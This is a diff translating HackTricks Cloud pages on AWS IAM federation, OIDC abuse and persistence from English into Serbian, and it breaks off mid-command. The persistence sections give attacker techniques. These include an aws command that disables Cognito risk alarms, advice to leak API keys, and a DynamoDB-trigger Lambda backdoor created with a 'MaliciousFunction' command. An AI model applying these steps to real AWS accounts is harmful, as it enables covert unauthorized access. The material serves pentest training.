To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
|
||||
|
||||
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
|
||||
Međutim, obično ćete želeti da dodelite **različitu ulogu u zavisnosti od grupe korisnika** na trećoj strani. Tada, nekoliko **IAM uloga može verovati** trećem identitetskom provajderu, a treća platforma će biti ta koja omogućava korisnicima da preuzmu jednu ili drugu ulogu.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### IAM Identity Center
|
||||
### IAM Identitetni Centar
|
||||
|
||||
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
|
||||
AWS IAM Identitetni Centar (naslednik AWS Single Sign-On) proširuje mogućnosti AWS upravljanja identitetom i pristupom (IAM) kako bi pružio **centralno mesto** koje okuplja **administraciju korisnika i njihov pristup AWS** nalozima i cloud aplikacijama.
|
||||
|
||||
The login domain is going to be something like `<user_input>.awsapps.com`.
|
||||
Domen za prijavu će biti nešto poput `<user_input>.awsapps.com`.
|
||||
|
||||
To login users, there are 3 identity sources that can be used:
|
||||
Da bi se prijavili korisnici, postoje 3 izvora identiteta koji se mogu koristiti:
|
||||
|
||||
- Identity Center Directory: Regular AWS users
|
||||
- Active Directory: Supports different connectors
|
||||
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
|
||||
- Identitetni Centar Direktorijum: Redovni AWS korisnici
|
||||
- Active Directory: Podržava različite konektore
|
||||
- Eksterni identitetski provajder: Svi korisnici i grupe dolaze iz eksternog identitetskog provajdera (IdP)
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
|
||||
U najjednostavnijem slučaju direktorijuma Identitetnog Centra, **Identitetni Centar će imati listu korisnika i grupa** i moći će da **dodeli politike** njima za **bilo koji od naloga** organizacije.
|
||||
|
||||
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
|
||||
Da biste dali pristup korisniku/grupi Identitetnog Centra nalogu, **biće kreiran SAML identitetski provajder koji veruje Identitetnom Centru**, a **uloga koja veruje identitetskom provajderu sa navedenim politikama biće kreirana** u odredišnom nalogu.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
|
||||
Moguće je **dati dozvole putem inline politika rolama kreiranim putem IAM Identitetnog Centra**. Uloge kreirane u nalozima koje dobijaju **inline politike u AWS Identitetnom Centru** će imati ove dozvole u inline politici pod nazivom **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
|
||||
Stoga, čak i ako vidite 2 uloge sa inline politikom pod nazivom **`AwsSSOInlinePolicy`**, to **ne znači da imaju iste dozvole**.
|
||||
|
||||
### Cross Account Trusts and Roles
|
||||
|
||||
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
|
||||
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
|
||||
**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim **dozvoliti drugom korisniku** (verovanom) da **pristupi njegovom nalogu** ali samo **imajući pristup naznačen u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između naloga nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\
|
||||
Preporučuje se da **precizirate korisnika koji je poveren i ne stavljate neku generičku stvar** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje.
|
||||
|
||||
### AWS Simple AD
|
||||
|
||||
Not supported:
|
||||
Nije podržano:
|
||||
|
||||
- Trust Relations
|
||||
- AD Admin Center
|
||||
- Full PS API support
|
||||
- AD Recycle Bin
|
||||
- Group Managed Service Accounts
|
||||
- Schema Extensions
|
||||
- No Direct access to OS or Instances
|
||||
- Odnos poverenja
|
||||
- AD Admin Centar
|
||||
- Puna PS API podrška
|
||||
- AD Kanta za reciklažu
|
||||
- Grupa upravljanih servisnih naloga
|
||||
- Proširenja šeme
|
||||
- Nema direktan pristup OS-u ili instancama
|
||||
|
||||
#### Web Federation or OpenID Authentication
|
||||
#### Web Federacija ili OpenID Autentifikacija
|
||||
|
||||
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
|
||||
Aplikacija koristi AssumeRoleWithWebIdentity za kreiranje privremenih akreditiva. Međutim, ovo ne daje pristup AWS konzoli, samo pristup resursima unutar AWS-a.
|
||||
|
||||
### Other IAM options
|
||||
### Druge IAM opcije
|
||||
|
||||
- You can **set a password policy setting** options like minimum length and password requirements.
|
||||
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
|
||||
- Možete **postaviti podešavanje politike lozinke** kao što su minimalna dužina i zahtevi za lozinku.
|
||||
- Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i jednom svaka **četiri sata**.
|
||||
|
||||
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
|
||||
AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešavanje kontrole pristupa** širom celog AWS-a. Sa IAM-om, možete precizirati **ko može pristupiti kojim uslugama i resursima**, i pod kojim uslovima. Sa IAM politikama, upravljate dozvolama za vašu radnu snagu i sisteme kako biste **osigurali dozvole sa najmanjim privilegijama**.
|
||||
|
||||
### IAM ID Prefixes
|
||||
### IAM ID Prefiksi
|
||||
|
||||
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
|
||||
Na [**ovoj stranici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) možete pronaći **IAM ID prefikse** ključeva u zavisnosti od njihove prirode:
|
||||
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ABIA | [AWS STS servisni token nosilac](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
|
||||
| ACCA | Kontekstualni akreditiv |
|
||||
| AGPA | Korisnička grupa |
|
||||
| AIDA | IAM korisnik |
|
||||
| AIPA | Amazon EC2 profil instance |
|
||||
| AKIA | Pristupni ključ |
|
||||
| ANPA | Upravljana politika |
|
||||
| ANVA | Verzija u upravljanoj politici |
|
||||
| APKA | Javni ključ |
|
||||
| AROA | Uloga |
|
||||
| ASCA | Sertifikat |
|
||||
| ASIA | [Privremeni (AWS STS) pristupni ključ ID-ovi](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) koriste ovaj prefiks, ali su jedinstveni samo u kombinaciji sa tajnim pristupnim ključem i tokenom sesije. |
|
||||
|
||||
### Recommended permissions to audit accounts
|
||||
### Preporučene dozvole za reviziju naloga
|
||||
|
||||
The following privileges grant various read access of metadata:
|
||||
Sledeće privilegije daju različit pristup metapodacima:
|
||||
|
||||
- `arn:aws:iam::aws:policy/SecurityAudit`
|
||||
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
|
||||
@@ -336,14 +326,13 @@ The following privileges grant various read access of metadata:
|
||||
- `directconnect:DescribeConnections`
|
||||
- `dynamodb:ListTables`
|
||||
|
||||
## Misc
|
||||
## Razno
|
||||
|
||||
### CLI Authentication
|
||||
|
||||
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
|
||||
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
|
||||
Example of credentials file with more than 1 profile:
|
||||
### CLI Autentifikacija
|
||||
|
||||
Da bi regularni korisnik autentifikovao AWS putem CLI, potrebno je imati **lokalne akreditive**. Po defaultu, možete ih konfigurisati **ručno** u `~/.aws/credentials` ili **pokretanjem** `aws configure`.\
|
||||
U toj datoteci možete imati više od jednog profila, ako **nije specificiran profil** koristeći **aws cli**, koristiće se onaj nazvan **`[default]`** u toj datoteci.\
|
||||
Primer datoteke akreditiva sa više od 1 profila:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -354,12 +343,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
Ako treba da pristupite **različitim AWS nalozima** i vašem profilu je dato pravo da **pretpostavi ulogu unutar tih naloga**, ne morate ručno pozivati STS svaki put (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) i konfigurisati akreditive.
|
||||
|
||||
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
|
||||
|
||||
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
|
||||
A config file example:
|
||||
|
||||
Možete koristiti `~/.aws/config` datoteku da **naznačite koje uloge da pretpostavite** i zatim koristiti `--profile` parametar kao i obično (pretpostavljanje uloge će se izvršiti na transparentan način za korisnika).\
|
||||
Primer konfiguracione datoteke:
|
||||
```
|
||||
[profile acc2]
|
||||
region=eu-west-2
|
||||
@@ -368,23 +355,16 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
|
||||
With this config file you can then use aws cli like:
|
||||
|
||||
Sa ovom konfiguracionom datotekom možete koristiti aws cli kao:
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
Ako tražite nešto **slično** ovome, ali za **pregledač**, možete proveriti **ekstenziju** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
|
||||
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
|
||||
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,87 +1,84 @@
|
||||
# AWS - Federation Abuse
|
||||
# AWS - Zloupotreba federacije
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SAML
|
||||
|
||||
For info about SAML please check:
|
||||
Za informacije o SAML-u, molimo proverite:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
{{#endref}}
|
||||
|
||||
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
|
||||
Da biste konfigurisali **Identitetsku federaciju putem SAML-a**, potrebno je da obezbedite **ime** i **metadata XML** koji sadrži svu SAML konfiguraciju (**endpoints**, **sertifikat** sa javnim ključem)
|
||||
|
||||
## OIDC - Github Actions Abuse
|
||||
## OIDC - Zloupotreba Github akcija
|
||||
|
||||
In order to add a github action as Identity provider:
|
||||
|
||||
1. For _Provider type_, select **OpenID Connect**.
|
||||
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
|
||||
3. Click on _Get thumbprint_ to get the thumbprint of the provider
|
||||
4. For _Audience_, enter `sts.amazonaws.com`
|
||||
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
|
||||
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
|
||||
8. Finally use a github action to configure the AWS creds to be used by the workflow:
|
||||
Da biste dodali github akciju kao provajdera identiteta:
|
||||
|
||||
1. Za _Tip provajdera_, izaberite **OpenID Connect**.
|
||||
2. Za _URL provajdera_, unesite `https://token.actions.githubusercontent.com`
|
||||
3. Kliknite na _Preuzmi otisak_ da biste dobili otisak provajdera
|
||||
4. Za _Publiku_, unesite `sts.amazonaws.com`
|
||||
5. Kreirajte **novu ulogu** sa **dozvolama** koje github akcija zahteva i **politiku poverenja** koja veruje provajderu kao:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Obratite pažnju u prethodnoj politici kako je samo jedna **grana** iz **repozitorijuma** **organizacije** autorizovana sa specifičnim **okidačem**.
|
||||
7. **ARN** uloge koju github akcija može da **imitira** biće "tajna" koju github akcija treba da zna, pa je **čuvajte** unutar **tajne** unutar **okruženja**.
|
||||
8. Na kraju, koristite github akciju da konfigurišete AWS kredencijale koji će se koristiti u radnom toku:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
# The workflow should only trigger on pull requests to the main branch
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
# Required to get the ID Token that will be used for OIDC
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
|
||||
jobs:
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
|
||||
## OIDC - EKS Abuse
|
||||
|
||||
## OIDC - EKS Zloupotreba
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
|
||||
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
|
||||
|
||||
Moguće je generisati **OIDC provajdere** u **EKS** klasteru jednostavno postavljanjem **OIDC URL-a** klastera kao **novog Open ID provajdera identiteta**. Ovo je uobičajena podrazumevana politika:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Ova politika ispravno ukazuje da **samo** **EKS klaster** sa **id** `20C159CDF6F2349B68846BEC03BE031B` može preuzeti ulogu. Međutim, ne ukazuje koja usluga može preuzeti, što znači da **BILO koja usluga sa web identitet tokenom** će moći da **preuzme** ulogu.
|
||||
|
||||
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
|
||||
|
||||
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
|
||||
|
||||
Da bi se odredilo **koja usluga bi trebala da može da preuzme ulogu,** potrebno je odrediti **uslov** gde je **ime usluge navedeno**, kao što je:
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,21 +1,17 @@
|
||||
# AWS - Permissions for a Pentest
|
||||
# AWS - Dozvole za Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
|
||||
Ovo su dozvole koje su vam potrebne na svakom AWS nalogu koji želite da auditujete kako biste mogli da pokrenete sve predložene AWS alate za audit:
|
||||
|
||||
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- Podrazumevana politika **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- Da biste pokrenuli [aws_iam_review](https://github.com/carlospolop/aws_iam_review) takođe su vam potrebne dozvole:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Opcionalno ako klijent generiše analize za vas, ali obično je lakše samo zatražiti ovu dozvolu)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Opcionalno ako klijent uklanja analize za vas, ali obično je lakše samo zatražiti ovu dozvolu)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - Persistence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# AWS - Persistencija
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
Za više informacija idite na:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,25 +12,21 @@ For more information go to:
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
Izmenite politiku resursa API gateway-a kako biste sebi omogućili pristup.
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
Izmenite kod lambda autorizatora kako biste sebi omogućili pristup svim krajnjim tačkama.\
|
||||
Ili jednostavno uklonite korišćenje autorizatora.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
Ako resurs koristi IAM autorizator, možete sebi omogućiti pristup izmenom IAM dozvola.\
|
||||
Ili jednostavno uklonite korišćenje autorizatora.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
Ako se koriste API ključevi, možete ih procuriti kako biste održali postojanost ili čak kreirati nove.\
|
||||
Ili jednostavno uklonite korišćenje API ključeva.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
Za više informacija, pristupite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
@@ -12,16 +12,16 @@ For more information, access:
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
Cognito je servis koji omogućava dodeljivanje uloga neautentifikovanim i autentifikovanim korisnicima i kontrolu direktorijuma korisnika. Nekoliko različitih konfiguracija može biti izmenjeno kako bi se održala neka postojanost, kao što su:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
- **Dodavanje User Pool-a** koji kontroliše korisnik u Identity Pool
|
||||
- Dodeljivanje **IAM uloge neautentifikovanom Identity Pool-u i omogućavanje Basic auth flow**
|
||||
- Ili **autentifikovanom Identity Pool-u** ako napadač može da se prijavi
|
||||
- Ili **poboljšanje dozvola** datih uloga
|
||||
- **Kreiranje, verifikacija & privesc** putem atributima kontrolisanih korisnika ili novih korisnika u **User Pool-u**
|
||||
- **Omogućavanje eksternim Identity Provider-ima** da se prijave u User Pool ili u Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
Proverite kako da izvršite ove akcije u
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
@@ -29,18 +29,12 @@ Check how to do these actions in
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
Napadač sa ovom privilegijom mogao bi da izmeni konfiguraciju rizika kako bi mogao da se prijavi kao Cognito korisnik **bez aktiviranja alarma**. [**Proverite cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) da biste proverili sve opcije:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
Podrazumevano je ovo onemogućeno:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,67 +1,59 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
# AWS - DynamoDB Persistencija
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
Za više informacija pristupite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
### DynamoDB Okidači sa Lambda Backdoor-om
|
||||
|
||||
Korišćenjem DynamoDB okidača, napadač može kreirati **neprimetan backdoor** povezivanjem maliciozne Lambda funkcije sa tabelom. Lambda funkcija može biti okinuta kada se stavka doda, izmeni ili obriše, omogućavajući napadaču da izvrši proizvoljan kod unutar AWS naloga.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
